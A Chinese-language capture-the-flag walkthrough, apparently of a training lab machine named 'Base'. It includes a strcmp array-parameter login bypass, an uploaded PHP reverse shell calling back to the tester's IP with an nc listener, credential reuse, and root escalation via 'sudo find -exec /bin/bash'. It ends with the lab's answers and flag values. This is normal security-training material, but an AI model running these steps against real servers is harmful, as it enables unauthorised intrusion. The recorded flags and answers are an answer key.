AI摘要:该文章记录了一次渗透测试,通过Nmap和Gobuster发现目标服务器开放了22和80端口,并存在登录页面。利用`strcmp`函数的类型混淆漏洞,通过传入数组绕过身份验证,成功上传webshell并获取反向shell。随后,通过查看配置文件获取数据库密码,并利用`sudo -i`和find命令提权至root,最终获取user.txt和root.txt标志。
本机Ip:10.10.16.2
目标Ip:10.129.95.184
首先收集信息
nmap -sC -sV 10.129.95.184
gobuster dir -u http://10.129.95.184 -w /usr/share/wordlists/dirb/big.txt
整理出得到的有效信息
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/_uploaded (Status: 301) [Size: 318] [--> http://10.129.95.184/_uploaded/]
/assets (Status: 301) [Size: 315] [--> http://10.129.95.184/assets/]
/forms (Status: 301) [Size: 314] [--> http://10.129.95.184/forms/]
/login (Status: 301) [Size: 314] [--> http://10.129.95.184/login/]
/server-status (Status: 403) [Size: 278]
访问它们
下载login.php.swp
strings login.php.swp
内容:
b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"!
<input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
<div class="form-group">
<div class="row" align="center">
<form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
<div class="col-lg-12 mt-5 mt-lg-0">
<div class="row mt-2">
</div>
<p>Use the form below to log into your account.</p>
<h2>Login</h2>
<div class="section-title mt-5" >
<div class="container" data-aos="fade-up">
<section id="login" class="contact section-bg" style="padding: 160px 0">
<!-- ======= Login Section ======= -->
</header><!-- End Header -->
</div>
</nav><!-- .navbar -->
<i class="bi bi-list mobile-nav-toggle"></i>
</ul>
<li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
<li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
<li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
<li><a class="nav-link scrollto" href="/#team">Team</a></li>
<li><a class="nav-link scrollto" href="/#services">Services</a></li>
<li><a class="nav-link scrollto" href="/#about">About</a></li>
<li><a class="nav-link scrollto" href="/#hero">Home</a></li>
<ul>
<nav id="navbar" class="navbar">
<!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
<!-- Uncomment below if you prefer to use an image logo -->
<h1 class="logo"><a href="index.html">BASE</a></h1>
<div class="container d-flex align-items-center justify-content-between">
<header id="header" class="fixed-top">
<!-- ======= Header ======= -->
<body>
</head>
<link href="../assets/css/style.css" rel="stylesheet">
<!-- Template Main CSS File -->
<link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
<link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
<link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
<link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
<link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
<link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link href="../assets/vendor/aos/aos.css" rel="stylesheet">
<!-- Vendor CSS Files -->
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
<!-- Google Fonts -->
<link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
<link href="../assets/img/favicon.png" rel="icon">
<!-- Favicons -->
<meta content="" name="keywords">
<meta content="" name="description">
<title>Welcome to Base</title>
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>
}
print("<script>alert('Wrong Username or Password')</script>");
} else {
}
print("<script>alert('Wrong Username or Password')</script>");
} else {
header("Location: /upload.php");
$_SESSION['user_id'] = 1;
if (strcmp($password, $_POST['password']) == 0) {
if (strcmp($username, $_POST['username']) == 0) {
require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body>
<script src="../assets/js/main.js"></script>
Web服务器正在使用strcmp来检查用户名和密码,这是不安全的,可以轻松地绕开。让我们打开yakit并捕获登录请求。以下代码存在问题:
if (strcmp($password, $_POST['password']) == 0) {
if (strcmp($username , $_POST['username']) == 0) {
类型混淆(Type Juggling) + strcmp 绕过
PHP 的 strcmp()
在遇到数组时,会返回 NULL
,而 strcmp(...) == 0
的判断就会失败或出错。
然而在 PHP 中:
strcmp("admin", $_POST['username']) == 0
如果你传的是 username[]=admin
,那么 $_POST['username']
是一个数组,执行时将变为:
strcmp("admin", array('admin')) == 0
此时 strcmp()
返回 NULL
,并发出 PHP Warning,但 整个 if
判断会被跳过 或意外通过,这就造成了认证绕过。
我们使用yakit劫持响应
将
username=admin&password=admin
改成
username[]=admin&password[]=admin
成功登陆
上传kali自带的webshell:/usr/share/webshells/php/php-reverse-shell.php
将回连ip改为本机ip:10.10.16.2
启动监听
nc -lvnp 1234
根据之前的扫描结果,推断上传路径为
http://10.129.95.184/_uploaded/php-reverse-shell.php
获得回显,成功连接上
查看web配置文件
账号:admin
密码:thisisagoodpassword
我们还可以查看/etc/passwd以找到用户名john。
让我们升级到交互式shell,pty shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
su john
提权成功
进入john用户目录,拿下用户标识
user.txt:f54846c258f3b4612f78a819573d158e
接着我们需要想办法提权到root
sudo -i
这么看来我们可以将find作为sudo 运行。
sudo /usr/bin/find /etc -exec /bin/bash \;
接着就是直接去root文件夹下拿根用户标识了
根用户标识:51709519ea18ab37dd6fc58096bea949
最后回答相应的问题
1:远程主机上打开了哪两个 TCP 端口?
22,80
2.登录页面在网络服务器上的相对路径是什么?
/login/login.php
3.“/login”目录中有多少个文件?
3
4.交换文件的文件扩展名是什么?
.swp
5.后端代码中使用哪个 PHP 函数将用户提交的用户名和密码与有效的用户名和密码进行比较?
strcmp()
6.上传的文件存放在哪个目录?
/_uploaded
7.远程主机上有哪些用户拥有主目录?
john
8.系统中当前用户的密码是什么?
thisisagoodpassword
9.用户 john 可以在远程主机上以 root 用户身份运行的命令的完整路径是什么?
/usr/bin/find
10.find 命令可以使用什么动作来执行命令?
exec
11.提交用户标志
f54846c258f3b4612f78a819573d158e
12.提交根标志
51709519ea18ab37dd6fc58096bea949